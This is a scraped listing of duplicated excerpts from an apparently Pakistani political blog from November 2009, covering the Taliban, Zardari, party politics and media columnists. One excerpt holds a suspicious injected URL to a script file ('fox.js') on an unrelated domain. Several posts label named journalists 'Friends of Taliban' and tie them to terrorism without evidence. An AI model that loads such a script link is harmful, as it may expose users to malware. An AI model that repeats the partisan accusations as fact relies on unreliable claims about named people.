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Taliban and Allama Iqbal: We reproduce here the denial of Pakistani Taliban of their involvement in terrorists activities in Pakistan, and its analysis by BBC Urdu’s Mohammed Hanif. The Taliban video statement starts with an Urdu verse by Allama Iqbal. It would appear
Taliban and Allama Iqbal: We reproduce here the denial of Pakistani Taliban of their involvement in terrorists activities in Pakistan, and its analysis by BBC Urdu’s Mohammed Hanif. The Taliban video statement starts with an Urdu verse by Allama Iqbal. It would appear
Why not a civilian head of ISI? An insight into the power struggle between democracy and establishment in Pakistan: Here are two columns, one by Kamran Shafi and the other by Nazir Naji, highlighting the nature of the current power struggle between the democratic government and the civil and military establishment in Pakistan. Democracy? Nahaq hum majbooron per…..
Saleem Safi’s questions for Shahid Masood, Ansar Abbasi and other Friends of Taliban: Saleem Safi asks some pertinent questions from the Friends of Taliban in Pakistani media and politics. Some of these questions are: 1. If agencies such as CIA, MI6, RAW, Mossad, Blackwater/Xe etc are responsible for
Saleem Safi’s questions for Shahid Masood, Ansar Abbasi and other Friends of Taliban: Saleem Safi asks some pertinent questions from the Friends of Taliban in Pakistani media and politics. Some of these questions are: 1. If agencies such as CIA, MI6, RAW, Mossad, Blackwater/Xe etc are responsible for terrorist attacks in Pakistan,
General Musharraf: Proclaimed liar: Proclaimed liar Mir Jamilur Rahman Mr Pervez Musharraf, in a recent outburst, called President Zardari “a criminal, a fraud and a third-rater”. Short of calling Zardari a bloody civilian, Musharraf called a number of colourful names that he thought
General Musharraf: Proclaimed liar: Proclaimed liar Mir Jamilur Rahman Mr Pervez Musharraf, in a recent outburst, called President Zardari “a criminal, a fraud and a third-rater”. Short of calling Zardari a bloody civilian, Musharraf called a number of colourful names that he thought
PPP fully prepared to face all challenges: President Zardari: “Without naming anyone, the president said that some people write our obituaries almost daily, but the more they write … the more they are disappointed and frustrated. I salute the party, its workers and the people. We have stood
PPP fully prepared to face all challenges: President Zardari: “Without naming anyone, the president said that some people write our obituaries almost daily, but the more they write … the more they are disappointed and frustrated. I salute the party, its workers and the people. We have stood
PPP and PML-N are united against the Friends of Taliban and their designs against democracy: vs Friends of Taliban in the Pakistani media and politics are very upset with this development. For example, read Nazir Naji’s column on the frustration of the Taliban lovers and democracy haters in
PPP and PML-N are united against the Friends of Taliban and their designs against democracy: vs Friends of Taliban in the Pakistani media and politics are very upset with this development. For example, read Nazir Naji’s column on the frustration of the Taliban lovers and democracy haters in Pakistan. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/11/triple-s-brigades-ill-wish-and-zardaris.html President enjoys immunity under
The collusion of commercialism and the right wing in the Pakistani media: The hypocrisy of the Pakistani Taliban Union of Journalists (PTUJ) The media is a commercial entity and therefore can always be expected to cater, first and foremost, to its profit-making needs. In Pakistan the private TV media revolution was
The collusion of commercialism and the right wing in the Pakistani media: The hypocrisy of the Pakistani Taliban Union of Journalists (PTUJ) The media is a commercial entity and therefore can always be expected to cater, first and foremost, to its profit-making needs. In Pakistan the private TV media revolution was
Zardari at a crossroads – An analysis by Mahmood Sham: Perhaps, the members of the central executive committee of the Pakistan People’s Party (PPP) do not realise that this meeting is taking place at an extremely decisive juncture of
Zardari at a crossroads – An analysis by Mahmood Sham: Perhaps, the members of the central executive committee of the Pakistan People’s Party (PPP) do not realise that this meeting is taking place at an extremely decisive juncture of the Zardari era. The apolitical forces have made up their
PPP hints at coalition govt in Gilgit-Baltistan: Sunday, 15 Nov, 2009 (Dawn)‘(MQM and JUI-F) are already in coalition with PPP in centre, so we look forward to join hands with them’: PPP leader. Above: Syed Mehdi Shah, President PPP Gilgit-Baltistan, greets PM Gilani during campaigning ahead
PPP hints at coalition govt in Gilgit-Baltistan: Sunday, 15 Nov, 2009 (Dawn)‘(MQM and JUI-F) are already in coalition with PPP in centre, so we look forward to join hands with them’: PPP leader. Above: Syed Mehdi Shah, President PPP Gilgit-Baltistan, greets PM Gilani during campaigning ahead
Story of a 14-year-old suicide bomber brainwashed by the Friends of Taliban: It has been learnt that Taliban use the anti-Pakistan (i.e. anti-democracy, anti-Pakistan Army and anti-west) hate propaganda spread by their friends in Pakistani media (e.g., Hamid Mir, Shahid Masood, Ansar Abbasi, Javed Chaudhry and others), in order to brainwash
Story of a 14-year-old suicide bomber brainwashed by the Friends of Taliban: It has been learnt that Taliban use the anti-Pakistan (i.e. anti-democracy, anti-Pakistan Army and anti-west) hate propaganda spread by their friends in Pakistani media (e.g., Hamid Mir, Shahid Masood, Ansar Abbasi, Javed Chaudhry and others), in order to brainwash
PML-N’s NRO with Musharraf and secret meetings with General Kayani: Rauf Klasra reveals that Shahbaz Sharif and Chaudhry Nisar have had at least four clandestine meetings with
PML-N’s NRO with Musharraf and secret meetings with General Kayani: Rauf Klasra reveals that Shahbaz Sharif and Chaudhry Nisar have had at least four clandestine meetings with General Kayani. Has PML-N learnt no lesson from history? Comments by email: By Naseem Ahmed Is it not the type of NRO
United for democracy: PPP and PML-N: Munno Bhai suggests that the unity of PPP and PML-N in support of democracy and in defiance of Taliban terrorists will deter any ultra-constitutional
United for democracy: PPP and PML-N: Munno Bhai suggests that the unity of PPP and PML-N in support of democracy and in defiance of Taliban terrorists will deter any ultra-constitutional adventurism in Pakistan.
Game Theory, President Zardari and Pakistani Politics: President and game theory Sunday, November 15, 2009 (The News) Dr Farrukh Saleem President Z is entangled in a non-cooperative game with a whole host of other players whereby each player’s “success in making choices depends on the choices
Game Theory, President Zardari and Pakistani Politics: President and game theory Sunday, November 15, 2009 (The News)Dr Farrukh Saleem President Z is entangled in a non-cooperative game with a whole host of other players whereby each player’s “success in making choices depends on the choices of
Taliban militants disguised in burqa to attack an anti-Taliban mayor: Perhaps inspired by their terrorist leader Mulla Abdul Aziz of the Lal Masjid of Islamabad, Taliban terrorist have started disguising themselves in Burqa in order to attack ordinary citizens of
Taliban militants disguised in burqa to attack an anti-Taliban mayor: Perhaps inspired by their terrorist leader Mulla Abdul Aziz of the Lal Masjid of Islamabad, Taliban terrorist have started disguising themselves in Burqa in order to attack ordinary citizens of Pakistan. Militants attack anti-Taliban mayor in northwest PakistanDawnNews ReportSunday,
Pakistan politics and media: The abuse of Islam for political gains?: Smokers’ Corner: Speaking fireNadeem F. PARACHASunday, 15 Nov, 2009 A blogger makes a valid point in a recent blog on dawn.com. He suggests that the reason why recent election rallies in Gilgit-Baltistan are so diagonally different from those held
Pakistan politics and media: The abuse of Islam for political gains?: Smokers’ Corner: Speaking fireNadeem F. PARACHASunday, 15 Nov, 2009 A blogger makes a valid point in a recent blog on dawn.com. He suggests that the reason why recent election rallies in Gilgit-Baltistan are so diagonally different from those held
Government of Sindh orders inquiry into the murder of Nazir Abbasi: Nazir Abbasi ….. Killers of Nazir Abbasi Bad news for Ziaist pro-Taliban elements in Pakistani media and establishment.Government of Sindh has ordered inquiry into the murder of Nazir Abbasi. Nazir Abbasi was a courageous Sindhi student leader who was
Government of Sindh orders inquiry into the murder of Nazir Abbasi: Nazir Abbasi ….. Killers of Nazir Abbasi Bad news for Ziaist pro-Taliban elements in Pakistani media and establishment.Government of Sindh has ordered inquiry into the murder of Nazir Abbasi. Nazir Abbasi was a courageous Sindhi student leader who was
Sangh Privar: The Hindu Taliban of India – Guest post by Qudrat Ullah: SANGH PARIVAR- THE FAR RIGHT FRINGE By Qudrat Ullah Launched by the inspired volunteers of Rashtriya Swayamsevak Sangh (RSS) with the sole purpose of attaining Gandhian Swaraj, the loose conglomerate of a total of 31 zealot organizations called Sangh
Guest blog: Sangh Privar – The Hindu Taliban of India: SANGH PARIVAR- THE FAR RIGHT FRINGE By Qudrat Ullah Launched by the inspired volunteers of Rashtriya Swayamsevak Sangh (RSS) with the sole purpose of attaining Gandhian Swaraj, the loose conglomerate of a total of 31 zealot organizations called Sangh
Nawaz Sharif’s morality and democracy in Pakistan: The PML-N adopted a highly moral disposition of not condoning corruption through the NRO and maintained that none of its leaders benefited from the NRO. However, the information available
Nawaz Sharif’s morality and democracy in Pakistan: The PML-N adopted a highly moral disposition of not condoning corruption through the NRO and maintained that none of its leaders benefited from the NRO. However, the information available on November 12 showed that some PML-N members in Punjab
The Ziaist Taliban versus Professional ISI: By Abdul Nishapuri We, the people of Pakistan, notwithstanding our political, religious or ethnic affiliations, wholeheartedly support the professional commitment expressed by Pakistan Army and its intelligence wing (ISI) in rooting out the remnants of General Zia, i.e. jihadi
Do Dr Aafia Siddiqui and Major Nadal Hasan represent Islam?: By Abdul Nishapuri Islam is a religion of peace and tolerance. Any one who aims to exploit Islam to resort to violence against innocent human beings is neither a friend of Islam nor
Do Dr Aafia Siddiqui and Major Nadal Hasan represent Islam?: By Abdul Nishapuri Islam is a religion of peace and tolerance. Any one who aims to exploit Islam to resort to violence against innocent human beings is neither a friend of Islam nor humanity. Unfortunately, acts of terror and
Conspiracy against democracy exposed: Here is an explicit outline of the Pakistani civil and military establishment’s plan against democracy implemented through their agents in Pakistani media and politics. Exposed! Saturday, November 14, 2009 (The News) Anjum Niaz Today President Zardari and the Sharif
Conspiracy against democracy exposed: Here is an explicit outline of the Pakistani civil and military establishment’s plan against democracy implemented through their agents in Pakistani media and politics. Exposed! Saturday, November 14, 2009 (The News)Anjum Niaz Today President Zardari and the Sharif brothers